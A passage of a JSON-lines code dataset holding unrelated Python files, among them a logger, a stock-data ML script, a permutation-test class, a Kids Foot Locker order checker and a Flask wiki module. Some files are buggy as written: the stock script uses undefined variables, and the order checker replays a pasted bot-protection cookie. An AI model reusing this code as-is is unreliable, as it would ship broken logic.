os.path.join(BASE_DIR, 'config.yml')\nconfig = yaml.load(open(config_file, 'rb'))['config']\n\n\nclass Logger(object):\n __instance = None\n\n def __init__(self):\n self.run_log_file = RUN_LOG_FILE\n self.error_log_file = ERROR_LOG_FILE\n self.unnormal_cid_file = UNNORMAL_CID_FILE\n self.run_logger = None\n self.error_logger = None\n\n self.initialize_run_log()\n self.initialize_error_log()\n\n def __new__(cls, *args, **kwargs):\n if not cls.__instance:\n cls.__instance = object.__new__(cls, *args, **kwargs)\n return cls.__instance\n\n @staticmethod\n def check_path_exist(log_abs_file):\n log_path = os.path.split(log_abs_file)[0]\n if not os.path.exists(log_path):\n os.makedirs(log_path)\n\n def initialize_run_log(self):\n self.check_path_exist(self.run_log_file)\n file_1_1 = RotatingFileHandler(filename=self.run_log_file, maxBytes=1024 * 1024 * 2, backupCount=15,\n encoding='utf-8')\n fmt = logging.Formatter(fmt=\"%(asctime)s - %(levelname)s : %(message)s\")\n file_1_1.setFormatter(fmt)\n logger1 = logging.Logger('run_log', level=logging.INFO)\n logger1.addHandler(file_1_1)\n self.run_logger = logger1\n\n def initialize_normal_logger(self, level):\n self.check_path_exist(self.run_log_file)\n file_1_1 = RotatingFileHandler(filename=self.run_log_file, maxBytes=1024 * 1024 * 2, backupCount=15,\n encoding='utf-8')\n fmt = logging.Formatter(fmt=\"%(asctime)s - %(levelname)s : %(message)s\")\n file_1_1.setFormatter(fmt)\n logger1 = logging.Logger('run_log', level=level)\n logger1.addHandler(file_1_1)\n return logger1\n\n def initialize_unnormal_log(self, level):\n self.check_path_exist(self.unnormal_cid_file)\n file_1_1 = RotatingFileHandler(filename=self.unnormal_cid_file, maxBytes=1024 * 1024 * 2, backupCount=15,\n encoding='utf-8')\n fmt = logging.Formatter(fmt=\"%(asctime)s - %(levelname)s : %(message)s\")\n file_1_1.setFormatter(fmt)\n logger1 = logging.Logger('error_log', level=level)\n logger1.addHandler(file_1_1)\n return logger1\n\n def initialize_error_log(self):\n self.check_path_exist(self.error_log_file)\n file_1_1 = RotatingFileHandler(filename=self.error_log_file, maxBytes=1024 * 1024 * 2, backupCount=15,\n encoding='utf-8')\n fmt = logging.Formatter(fmt=\"%(asctime)s - %(levelname)s : %(message)s\")\n file_1_1.setFormatter(fmt)\n logger1 = logging.Logger('error_log', level=logging.ERROR)\n logger1.addHandler(file_1_1)\n self.error_logger = logger1\n\n def debug(self, msg):\n logger = self.initialize_normal_logger(logging.DEBUG)\n logger.debug(msg)\n\n def info(self, msg):\n logger = self.initialize_normal_logger(logging.INFO)\n logger.info(msg)\n\n def warn(self, msg):\n logger = self.initialize_unnormal_log(logging.WARNING)\n logger.warning(msg)\n\n def error(self, msg):\n self.error_logger.error(msg, exc_info=True)\n\n def log(self, message, mode=True):\n \"\"\"\n 写入日志\n :param message: 日志信息\n :param mode: True表示运行信息,False表示错误信息\n :return:\n \"\"\"\n if mode:\n self.run_logger.info(message)\n else:\n self.error_logger.error(message, exc_info=True)\n\n\nclass SendMail(object):\n def __init__(self):\n self._smtp_server = config['smtp']['smtp_server']\n self._mail_user = config['smtp']['user']\n self._mail_passwd = config['smtp']['passwd']\n self._type = 'plain'\n self.server = smtplib.SMTP_SSL(self._smtp_server, 465)\n self.server.login(self._mail_user, self._mail_passwd)\n\n def send(self, to, subject, msg):\n message = MIMEText(msg, self._type, 'utf-8')\n message['Subject'] = subject\n message['From'] = self._mail_user\n message['TO'] = ';'.join(to)\n self.server.sendmail(self._mail_user, to, message.as_string())\n","sub_path":"python/tools/check_cid_timeout/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":4667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"149991903","text":"import pickle\nimport json\nimport math\n#import sys\n#reload(sys)\n#sys.setdefaultencoding('gbk')\n\n\nif __name__ == \"__main__\":\n with open('dict2clog','rb') as f:\n smdict=pickle.load(f)\n for i in smdict:\n for j in smdict[i]:\n smdict[i][j]=math.log(smdict[i][j]+1)\n with open('dict2cloglog','wb') as f:\n pickle.dump(smdict,f)\n\n","sub_path":"list6.py","file_name":"list6.py","file_ext":"py","file_size_in_byte":366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"585227762","text":"import bs4 as bs\nimport datetime as dt\nimport matplotlib.pyplot as plt\nfrom matplotlib import style\nimport numpy as np\nimport os\nimport pandas as pd\nimport pandas_datareader.data as web\nimport pickle\nimport requests\nfrom collections import Counter\nstyle.use('ggplot')\n\n################################################\n################################################get stock data\ndef save_100_tickers():\n resp = requests.get('https://finance.yahoo.com/most-active?offset=0&count=100')\n soup = bs.BeautifulSoup(resp.text, 'lxml')\n table = soup.find('table', {'class': 'W(100%)'})\n tickers=[]\n for i in table.findAll('tr')[1:]:\n deta=i.findAll('td')[0].text\n tickers.append(deta)\n with open(\"100tickers.pickle\", \"wb\") as f:\n pickle.dump(tickers, f)\n return tickers\n\n\ndef get_stock_from_yahoo():\n\n with open(\"100tickers.pickle\", \"rb\") as f:\n tickers = pickle.load(f)\n if not os.path.exists('100stock'):\n os.makedirs('100stock')\n\n start = dt.datetime(2019, 1, 1)\n end = dt.datetime.now()\n for ticker in tickers:\n # just in case your connection breaks, we'd like to save our progress!\n if not os.path.exists('100stock/{}.csv'.format(ticker)):\n df = web.DataReader(ticker, 'yahoo', start, end)\n df.reset_index(inplace=True)\n df.set_index(\"Date\", inplace=True)\n #df = df.drop(\"Symbol\", axis=1)\n df.to_csv('100stock/{}.csv'.format(ticker))\n else:\n print('Already have {}'.format(ticker))\n\n\ndef stock_close_data():\n with open(\"100tickers.pickle\", \"rb\") as f:\n tickers = pickle.load(f)\n\n main_df = pd.DataFrame()\n for count, ticker in enumerate(tickers):\n df = pd.read_csv('100stock/{}.csv'.format(ticker))\n df.set_index('Date', inplace=True)\n df.rename(columns={'Adj Close': ticker}, inplace=True)\n df.drop(['Open', 'High', 'Low', 'Close', 'Volume'], 1, inplace=True)\n\n if main_df.empty:\n main_df = df\n else:\n main_df = main_df.join(df, how='outer')\n main_df.fillna(0,inplace=True)\n main_df.to_csv('100stock_closes.csv')\n################################################\n################################################\n\ndef visualize_data():\n df = pd.read_csv('100stock_closes.csv')\n df_corr = df.corr()\n #print(df_corr.head())\n df_corr.to_csv('100corr.csv')\n data1 = df_corr.values\n fig1 = plt.figure()\n ax1 = fig1.add_subplot(111)\n\n heatmap1 = ax1.pcolor(data1, cmap=plt.cm.RdYlGn)\n fig1.colorbar(heatmap1)\n\n ax1.set_xticks(np.arange(data1.shape[1]) + 0.5, minor=False)\n ax1.set_yticks(np.arange(data1.shape[0]) + 0.5, minor=False)\n # ax1.invert_yaxis()\n # ax1.xaxis.tick_top()\n # column_labels = df_corr.columns\n # row_labels = df_corr.index\n # ax1.set_xticklabels(column_labels)\n # ax1.set_yticklabels(row_labels)\n # plt.xticks(rotation=90)\n # heatmap1.set_clim(-1, 1)\n plt.tight_layout()\n plt.show()\n\n\ndef next7days_stock():\n hm_days = 7\n df = pd.read_csv('100stock_closes.csv', index_col=0)\n tickers = df.columns.values.tolist()\n for m in tickers:\n for i in range(1, hm_days+1):\n df['{}_{}d'.format(m, i)] = (df[m].shift(-i) - df[m]) / df[m]\n df.fillna(0, inplace=True)\n daf=df.iloc[:,100:]\n daf.to_csv('next7days_stock.csv')\n return tickers, daf\n\n\ndef buy_sell_hold(*args):\n cols = [c for c in args]\n requirement = 0.05\n for col in cols:\n if col > requirement:\n return 1\n if col < -requirement:\n return -1\n return 0\n\n\n'''This will let us see the distributions of classes both in our dataset and in our algorithm's predictions'''\n\n##Couter:dict subclass for counting hashable objects\ndef extract_featuresets(tickers):\n #tickers, daf = next7days_stock()\n #vals=[]\n for n in tickers:\n daf['{}_target'.format(n)] = list(map( buy_sell_hold,\n daf['{}_1d'.format(n)],\n daf['{}_2d'.format(n)],\n daf['{}_3d'.format(n)],\n daf['{}_4d'.format(n)],\n daf['{}_5d'.format(n)],\n daf['{}_6d'.format(n)],\n daf['{}_7d'.format(n)] ))\n vals = df['{}_target'.format(ticker)].values.tolist()\n str_vals = [str(i) for i in vals]\n #print('Data spread:', Counter(str_vals))\n\n df.fillna(0, inplace=True)\n df = df.replace([np.inf, -np.inf], np.nan)\n df.dropna(inplace=True)\n\n df_vals = df[[ticker for ticker in tickers]].pct_change()\n df_vals = df_vals.replace([np.inf, -np.inf], 0)\n df_vals.fillna(0, inplace=True)\n\n X = df_vals.values\n y = df['{}_target'.format(ticker)].values\n return X, y, df\n target_data=[daf['{}_target'.format(x)] for x in tickers]\n\n\nfrom sklearn import svm, neighbors\nfrom sklearn.model_selection import cross_validate\nfrom sklearn.ensemble import VotingClassifier, RandomForestClassifier\n\ndef do_ml(ticker):\n\n X,y,df = extract_featuresets(tickers)\n X_train, X_test, y_train, y_test = cross_validate.train_test_split(X,\n y,\n test_size=0.25)","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"546419069","text":"def divides_self(nums):\n numbers = str(nums)\n the_return = False\n if nums == 0:\n return False\n if len(numbers) == 1:\n the_return = True\n for i in numbers:\n i = int(i)\n if i == 0:\n return False\n if nums % i == 0:\n the_return = True\n return the_return\n \nprint(divides_self(0))\nprint()\nprint(divides_self(1))\nprint()\nprint(divides_self(10))\n\n\n# #lesson knapsack problem\n\n# from itertools import combinations\n\n# def naive_fill_knapsack(sack, items):\n# items.sort(key=lambda x: x.value, reverse=True)\n# #what is wrong with this?\n# #some items have more value than others, not necessarily the heaviest thing\n# #or a combination of smaller items \n# sack = []\n# weight = 0\n# for i in items:\n# weight += i.weight\n# if weight > 50:\n# return sack\n# else:\n# sack.append(i)\n\n# return sack\n\n# def brute_force_fill_knapsack(sack, items):\n# combos = []\n# sack = []\n# for i in range(1, len(items)+1):\n# list_of_combos = list(combinations(items, i))\n# for i in list_of_combos:\n# combos.append(list(combos))\n\n# best_value = -1\n# for c in combos:\n# value = 0\n# weight = 0 \n\n# for item in c:\n\n\n# def greedy_fill_knapsack(sack, items):\n\n# for i in items:\n# i.efficiency = i.value/i.weight\n\n# items.sort(key=lambda x: x.efficiency, reverse=True)\n\n# sack = []\n# weight = 0\n\n# for i in items:\n# weight += i.weight\n# if weight > 50:\n# return sack\n# else:\n# sack.append(i)\n\n#tallest building problem \n\ndef tallest_building_height(buildings):\n #get the length of the entire list passed\n poss_height = len(buildings)\n #count how many items in the list you go through before encountering #\n count = 0\n found = False\n while not found:\n for i in buildings:\n if i.find('#') == -1:\n count += 1\n else:\n found = True\n \n #subtract empty items from total items\n #multiply by 20 and return\n tallest_height = f'{(poss_height - count) * 20}m'\n\n return tallest_height\n\n\nprint(tallest_building_height([\n\t\" \",\n\t\" ## \",\n\t\" ## \",\n\t\"### ## \",\n\t\"### ## \",\n\t\"### ###\",\n\t\"### ###\"]))\n\nprint(tallest_building_height([\n\t\" ##\",\n\t\" ##\",\n\t\" ##\",\n\t\"### ### ##\",\n\t\"### ### ###\",\n\t\"### ### ###\",\n\t\"### ### ###\"\n]))\n\n#its working","sub_path":"class_notes.py","file_name":"class_notes.py","file_ext":"py","file_size_in_byte":2460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"215343698","text":"from abc import ABC, abstractmethod\n\nimport numpy as np\nfrom scipy.spatial.distance import cdist\nfrom scipy._lib._util import MapWrapper\n\nfrom .._utils import euclidean\nfrom ._utils import k_sample_transform\nfrom ..independence import Dcorr, HHG, Hsic\n\n\nclass KSampleTest(ABC):\n \"\"\"\n A base class for a k-sample test.\n\n Parameters\n ----------\n indep_test : {CCA, Dcorr, HHG, RV, Hsic}\n The class of the desired independence test from ``mgc.independence``.\n The object, not an instance of the object should be passed as a\n parameter to this class.\n compute_distance : callable(), optional (default: euclidean)\n A function that computes the distance or similarity among the samples\n within each data matrix. Set to `None` if `x` and `y` are already\n distance matrices. To call a custom function, either create the\n distance matrix before-hand or create a function of the form\n ``compute_distance(x)`` where `x` is the data matrix for which\n pairwise distances are calculated.\n \"\"\"\n\n def __init__(self, indep_test, compute_distance=euclidean):\n # set statistic and p-value\n self.stat = None\n self.pvalue = None\n self.compute_distance = compute_distance\n\n dist_tests = [Dcorr, HHG, Hsic]\n if indep_test in dist_tests:\n self.indep_test = indep_test(compute_distance=compute_distance)\n else:\n self.indep_test = indep_test()\n\n super().__init__()\n\n def _perm_stat(self, index): # pragma: no cover\n r\"\"\"\n Helper function that is used to calculate parallel permuted test\n statistics.\n\n Parameters\n ----------\n index : int\n Iterator used for parallel statistic calculation\n\n Returns\n -------\n perm_stat : float\n Test statistic for each value in the null distribution.\n \"\"\"\n\n permu = np.random.permutation(self.u)\n permv = np.random.permutation(self.v)\n\n # calculate permuted statics, store in null distribution\n perm_stat = self.indep_test._statistic(permu, permv)\n\n return perm_stat\n\n @abstractmethod\n def test(self, inputs, reps=1000, workers=-1):\n r\"\"\"\n Calulates the k-sample test p-value.\n\n Parameters\n ----------\n inputs : list of ndarray\n Input data matrices.\n reps : int, optional\n The number of replications used in permutation, by default 1000.\n workers : int, optional\n Evaluates method using `multiprocessing.Pool `).\n Supply `-1` to use all cores available to the Process.\n\n Returns\n -------\n stat : float\n The computed k-sample test statistic.\n pvalue : float\n The pvalue obtained via permutation.\n \"\"\"\n\n # calculate observed test statistic\n u, v = k_sample_transform(inputs)\n self.u = u\n self.v = v\n obs_stat = self.indep_test._statistic(u, v)\n\n # use all cores to create function that parallelizes over number of reps\n mapwrapper = MapWrapper(workers)\n null_dist = np.array(list(mapwrapper(self._perm_stat, range(reps))))\n self.null_dist = null_dist\n\n # calculate p-value and significant permutation map through list\n pvalue = (null_dist >= obs_stat).sum() / reps\n\n # correct for a p-value of 0. This is because, with bootstrapping\n # permutations, a p-value of 0 is incorrect\n if pvalue == 0:\n pvalue = 1 / reps\n self.pvalue = pvalue\n\n return obs_stat, pvalue\n","sub_path":"mgc/ksample/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"170783115","text":"#!/usr/bin/env python3\n# Copyright 2016 The Fontbakery Authors\n# Copyright 2017 The Google Font Tools Authors\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport argparse\nimport os\nimport tabulate\nfrom fontTools import ttLib\n\nparser = argparse.ArgumentParser(description='Print out'\n ' usWeightClass of the fonts')\nparser.add_argument('font', nargs=\"+\")\nparser.add_argument('--csv', default=False, action='store_true')\n\n\ndef main(args=None):\n args = parser.parse_args(args)\n headers = ['filename', 'usWeightClass']\n rows = []\n for font in args.font:\n ttfont = ttLib.TTFont(font)\n rows.append([os.path.basename(font), ttfont['OS/2'].usWeightClass])\n\n def as_csv(rows):\n import csv\n import sys\n writer = csv.writer(sys.stdout)\n writer.writerows([headers])\n writer.writerows(rows)\n sys.exit(0)\n\n if args.csv:\n as_csv(rows)\n\n print(tabulate.tabulate(rows, headers, tablefmt=\"pipe\"))\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"Lib/gftools/scripts/list_weightclass.py","file_name":"list_weightclass.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"182777355","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\nimport model_utils.fields\nimport django.utils.timezone\nimport autoslug.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Player',\n fields=[\n ('id', models.AutoField(auto_created=True, serialize=False, verbose_name='ID', primary_key=True)),\n ('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, verbose_name='created', editable=False)),\n ('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, verbose_name='modified', editable=False)),\n ('name', models.CharField(unique=True, verbose_name='Player Name', max_length=255)),\n ('slug', autoslug.fields.AutoSlugField(unique=True, populate_from='name', verbose_name='Player Address', editable=False)),\n ('round1', models.IntegerField(blank=True, verbose_name='Round 1')),\n ('round2', models.IntegerField(blank=True, verbose_name='Round 2')),\n ('round3', models.IntegerField(blank=True, verbose_name='Round 3')),\n ('round4', models.IntegerField(blank=True, verbose_name='Round 4')),\n ('group', models.CharField(default='unspecified', choices=[('unspecified', 'Unspecified'), ('first', 'First'), ('second', 'Second'), ('third', 'Third'), ('fourth', 'Fourth')], verbose_name='Group (Based on Golfweek world rank)', max_length=255)),\n ],\n options={\n 'abstract': False,\n },\n ),\n ]\n","sub_path":"collegiatemasters/players/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"484481120","text":"import numpy as np\nimport math\nimport sys\nfrom sklearn.utils.linear_assignment_ import _hungarian\nfrom PIL import Image, ImageDraw\nfrom matching_adjustment import find_n_neighbors as fn\nwidth = height = 0\nDUMMY_COST = 999999\n\n# create the mat from the image. Append dummy row for later indexing \ndef create_mat(image):\n\n\tmat = (np.array(list(image.getdata())) > 0).nonzero()[0]\n\tmat = np.append(mat, -1)\n\tmat.flags.writeable = False\n\treturn mat\t\n# if the mat.size < size then create the dummy points\ndef create_mat_k(image, size):\n\n\tmat = (np.array(list(image.getdata())) > 0).nonzero()[0]\n\t# append a dummy point to the end of array: intended for later indexing\n\tif (mat.size < size):\n\t\tdiff = size - mat.size\n\t\tdummy_pts = np.empty(diff, dtype=np.int32)\n\t\tdummy_pts.fill(-1)\n\n\t\tmat = np.concatenate((mat, dummy_pts))\n\n\telif (mat.size > size):\n\t\tnp.random.shuffle(mat)\n\t\tmat = mat[:size]\n\t\n\tmat = np.append(mat, -1)\n\t\n\treturn mat\n\ndef __reduce_mat(mat_img, k, retain_pts=None):\n\n\tif mat_img.size < k:\n\t\t_mat_img = np.copy(mat_img)\n\t\tdiff = k - _mat_img.size\n\t\tdummy_pts = np.empty(diff, dtype=np.int32)\n\t\tdummy_pts.fill(-1)\n\t\t_mat_img = np.concatenate((_mat_img, dummy_pts))\n\telif retain_pts == None:\n\t\t_mat_img = np.copy(mat_img)\n\t\tnp.random.shuffle(_mat_img)\n\t\t_mat_img = _mat_img[:k]\n\telse:\n\t\t#retian the indicated indices. Asseration: retain_pts.size <= k\n\t\tdiff = k - retain_pts.size\n\t\tdummy_pts = np.empty(diff, dtype=np.int32)\n\t\tdummy_pts.fill(-1)\n\t\t_mat_img = np.concatenate((retain_pts, dummy_pts))\n\n\n\treturn _mat_img\n\ndef __obtain_cost_mat(mat_img_bef, mat_img_aft, k, fixed_index=None):\n\tcost = []\n\t_mat_bef = __reduce_mat(mat_img_bef, k, fixed_index)\n\t_mat_aft = __reduce_mat(mat_img_aft, k)\n\n\taft, bef = np.meshgrid(_mat_aft, _mat_bef)\n\t# calculate pair-wise distances\n\teuclidean_func = np.vectorize(__euclidean_distance)\n\tcost = euclidean_func(aft, bef)\n\n\treturn cost, _mat_bef, _mat_aft\ndef __euclidean_distance(a, b):\n\tif b == -1 or a == -1:\n\t\treturn DUMMY_COST\n\ta_x = a%width\n\ta_y = math.floor(a/width)\n\n\tb_x = b%width\n\tb_y = math.floor(b/width)\n\tcost = (a_x - b_x) * (a_x - b_x) + (a_y - b_y) * (a_y - b_y) \n\n\treturn cost\ndef __get_coordinate(index):\n\tx = index%width\n\ty = math.floor(index/width)\n\treturn x, y\n\ndef __obtain_vector(a, b):\n\n\ta_x, a_y = __get_coordinate(a)\n\tb_x, b_y = __get_coordinate(b)\n\treturn (b_x - a_x, b_y - a_y)\n\n# mat_img_bef = [], the activate (e.g. fire) points in the before image\n# mat_img_aft = [], the activate points in the after image\n# matched_indexes = [m_0, m_1, ... m_i, ..., m_n], m_i is the index of the matched point in the pts_aft. The one that is matched to a dummy point will be set to -1.\n# vectors = [v0, v1, ... vi, ..., v_n], v_i is a tuple(x, y) specifies the vector from the before point to the matched after point. The dummy vector is (-1, -1)\ndef get_trend(mat_img_bef, mat_img_aft, image_width, k, retain_pts=None):\n\tglobal width, height\n\twidth = height = image_width\n\n\tmat_cost, mat_bef, mat_aft = __obtain_cost_mat(mat_img_bef, mat_img_aft, k, retain_pts)\n\tindexes = np.ravel(_hungarian(mat_cost))\n\tind_bft = indexes[::2]\n\tind_aft = indexes[1::2]\n\n\tmatched_indexes = [(-1,-1)] * mat_img_bef.size\n\t# obtain matched indexes\n\tretain_pts = []\n\tfor index, pt_bef in enumerate(mat_bef):\t\t\n\t\tpt_aft = mat_aft[ind_aft[index]]\n\n\t\t# get the index of pt_bef in the origin mat_img_bef matrix\n\t\tpt_bef_oind = np.where(mat_img_bef == pt_bef)[0][0]\n\t\t\n\t\tif pt_aft == -1:\n\t\t\tmatched_indexes[pt_bef_oind] = (-1, -1)\n\t\telse:\n\t\t\tretain_pts.append(pt_aft)\n\t\t\tmatched_indexes[pt_bef_oind] = ((np.where(mat_img_aft == pt_aft)[0][0], pt_aft))\n\n\t#print (mat_img_bef.size,\" \", mat_img_aft.size, \" \", len(retain_pts))\n\tif (len(retain_pts) == 0):\n\t\tretain_pts = None\n\telse:\n\t\tretain_pts = np.array(retain_pts)\n\n\treturn np.array(matched_indexes), retain_pts\n\n\t\n\n\n\ndef test():\t\t\n\t# test code\n\timg_bef = Image.open(\"./fire_images/58.png\")\n\timg_aft = Image.open(\"./fire_images/110.png\")\n\twidth, height = img_bef.size\n\tmatched_indexes, vectors = get_trend(create_mat(img_bef), create_mat(img_aft), width)\n\tprint (matched_indexes)\n\tprint (vectors)\n\n\n\n\n\n\n","sub_path":"temp/adv_pairwise_trend.py","file_name":"adv_pairwise_trend.py","file_ext":"py","file_size_in_byte":4094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"138574077","text":"import requests\r\nimport json\r\n\r\nwith open('orders.json') as json_file:\r\n orders = json.load(json_file)\r\n\r\ndef checkOrder(orderNum, customerNum, importantCookie):\r\n print(\"checking status of \" + orderNum)\r\n session = requests.Session()\r\n\r\n sessionHeaders = {\r\n \"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36\",\r\n \"accept\": \"application/json\",\r\n \"Accept-Encoding\": \"gzip, deflate, br\",\r\n \"Accept-Language\": \"en-US,en;q=0.9\",\r\n \"Connection\": \"keep-alive\",\r\n \"content-type\": \"application/json\"\r\n }\r\n\r\n cookies = {\r\n '_abck':importantCookie\r\n }\r\n\r\n s = session.get('https://www.kidsfootlocker.com/api/session', headers=sessionHeaders, cookies=cookies)\r\n loadedData = json.loads(s.text)\r\n csrfToken = loadedData['data']['csrfToken']\r\n\r\n headers = {\r\n \"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36\",\r\n \"accept\": \"application/json\",\r\n \"Accept-Encoding\": \"gzip, deflate, br\",\r\n \"Accept-Language\": \"en-US,en;q=0.9\",\r\n \"Connection\": \"keep-alive\",\r\n \"content-type\": \"application/json\",\r\n \"x-csrf-token\":csrfToken\r\n }\r\n\r\n payload = {\r\n \"code\":orderNum,\r\n \"customerNumber\":customerNum\r\n }\r\n\r\n\r\n checkReq = session.post('https://www.kidsfootlocker.com/api/users/orders/status', headers=headers, json=payload, cookies=cookies)\r\n\r\n if 200 == checkReq.status_code:\r\n jsonStatus = json.loads(checkReq.text)\r\n orderStatus1 = jsonStatus['orderStatus']\r\n orderStatus2 = jsonStatus['lineItems'][0]['itemStatus']\r\n\r\n print(\"status of \" + orderNum + \" is \" + orderStatus1 + \" and \" + orderStatus2)\r\n elif \"match\" in checkReq.text:\r\n print(\"error with order numbers or/and customer numbers, please check order numbers or/and customer numbers\")\r\n exit()\r\n else:\r\n print(\"cookie expired! please get a new cookie\")\r\n importantCookie = input(\"please paste cookie here: \")\r\n checkOrder(orderNum, cusNum, importantCookie)\r\n\r\ndef getCookie():\r\n global importantCookie \r\n importantCookie = input(\"please paste cookie here: \")\r\ngetCookie()\r\n\r\n\r\nfor i in orders[\"orders\"]:\r\n orderNum = i['orderNum']\r\n cusNum = i['customerNum']\r\n checkOrder(orderNum, cusNum, importantCookie)\r\n\r\n\r\n\r\n\r\n","sub_path":"kidsfootlocker/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"461050281","text":"class Car(Vehicle):\r\n \"\"\"Car class\"\"\"\r\n \r\n def change_gear(self, gear_name):\r\n \"\"\"Method for changing gear\"\"\"\r\n print(self.name, \"is changing gear to\", gear_name)\r\n \r\nif __name__ == \"__main__\":\r\n c = Car(\"Unick 791 pro\", \"Zxprobd\", \"Blue\")\r\n c.drive()\r\n c.brake()\r\n c.change_gear(\"P\")","sub_path":"OOP_and_Other/inheritance_car.py","file_name":"inheritance_car.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"400428818","text":"# -*- coding: utf-8 -*-\n\"\"\"Wiki section, including wiki pages for each group.\"\"\"\nfrom flask import Blueprint, g, render_template, redirect, url_for, \\\n request, flash, send_from_directory, abort, current_app\nfrom datetime import datetime, timedelta\nimport os\nimport math\n\nfrom pwlite.extensions import db, markdown\nfrom pwlite.utils import flash_errors, xstr, get_object_or_404, \\\n calc_page_num, get_pagination_kwargs, convert_utc_to_mdt\nfrom pwlite.models import WikiPage, WikiPageIndex, WikiKeypage, \\\n WikiPageVersion, WikiReference, WikiFile\nfrom pwlite.wiki.forms import WikiEditForm, UploadForm, RenameForm, \\\n SearchForm, KeyPageEditForm\nfrom pwlite.diff import make_patch\nfrom pwlite.settings import DB_PATH\nfrom pwlite.markdown import render_wiki_page, render_wiki_file\n\nblueprint = Blueprint('wiki', __name__, static_folder='../static', url_prefix='/')\n\n\n@blueprint.url_defaults\ndef add_wiki_group_code(endpoint, values):\n if 'wiki_group' in values:\n return\n\n try:\n values.setdefault('wiki_group', g.wiki_group)\n except AttributeError:\n pass\n\n\n@blueprint.url_value_preprocessor\ndef pull_wiki_group_code(endpoint, values):\n g.wiki_group = values.pop('wiki_group')\n if g.wiki_group not in current_app.active_wiki_groups:\n abort(404)\n\n\n@blueprint.before_request\ndef open_database_connection():\n db.pick('{0}.db'.format(g.wiki_group))\n\n\n@blueprint.after_request\ndef close_database_connection(response):\n db.close()\n return response\n\n\n# Docs: http://flask.pocoo.org/docs/1.0/templating/#context-processors\n@blueprint.context_processor\ndef inject_wiki_group_data():\n if g.wiki_group not in current_app.active_wiki_groups:\n return dict()\n\n if request.path.startswith('/{0}/edit/'.format(g.wiki_group)) \\\n or request.path.startswith('/{0}/upload/'.format(g.wiki_group)):\n return dict(wiki_group=g.wiki_group)\n\n search_form = SearchForm()\n\n query = (WikiPage\n .select(WikiPage.id, WikiPage.title)\n .join(\n WikiKeypage,\n on=(WikiKeypage.wiki_page))\n .order_by(WikiKeypage.id))\n wiki_keypages = query.execute()\n\n # TODO: enhancement - this might be a performance bottleneck in the future.\n query = (WikiPage\n .select(WikiPage.id, WikiPage.title, WikiPage.modified_on)\n .order_by(WikiPage.modified_on.desc())\n .limit(5))\n wiki_changes = query.execute()\n\n latest_change_time = convert_utc_to_mdt(wiki_changes[0].modified_on)\n now = convert_utc_to_mdt(datetime.utcnow())\n\n if latest_change_time.date() == now.date():\n latest_change_time = latest_change_time.strftime('[%H:%M]')\n else:\n latest_change_time = latest_change_time.strftime('[%b %d]')\n\n return dict(\n wiki_group=g.wiki_group,\n search_form=search_form,\n wiki_keypages=wiki_keypages,\n wiki_changes=wiki_changes,\n latest_change_time=latest_change_time,\n convert_utc_to_mdt=convert_utc_to_mdt\n )\n\n\n@blueprint.route('/home')\ndef home():\n \"\"\"Home page.\"\"\"\n return redirect(url_for('.page', wiki_page_id=1))\n\n\n@blueprint.route('/page/')\ndef page(wiki_page_id):\n wiki_page = get_object_or_404(\n WikiPage.select(\n WikiPage.id,\n WikiPage.title,\n WikiPage.html,\n WikiPage.toc,\n WikiPage.modified_on),\n WikiPage.id==wiki_page_id\n )\n return render_template(\n 'wiki/page.html',\n wiki_page=wiki_page\n )\n\n\n@blueprint.route('/edit/', methods=['GET', 'POST'])\ndef edit(wiki_page_id):\n wiki_page = get_object_or_404(\n WikiPage.select(\n WikiPage.id,\n WikiPage.title,\n WikiPage.markdown,\n WikiPage.current_version,\n WikiPage.modified_on),\n WikiPage.id==wiki_page_id\n )\n form = WikiEditForm()\n upload_form = UploadForm()\n\n if form.validate_on_submit():\n if form.current_version.data == wiki_page.current_version:\n g.wiki_page = wiki_page\n g.wiki_refs = list(WikiPage\n .select(WikiPage.id)\n .join(WikiReference, on=WikiReference.referenced)\n .where(WikiReference.referencing == wiki_page)\n .execute())\n\n diff = make_patch(wiki_page.markdown, form.textArea.data)\n if diff:\n with db.atomic():\n toc, html = markdown(form.textArea.data)\n WikiPageVersion.create(\n wiki_page=wiki_page,\n diff=diff,\n 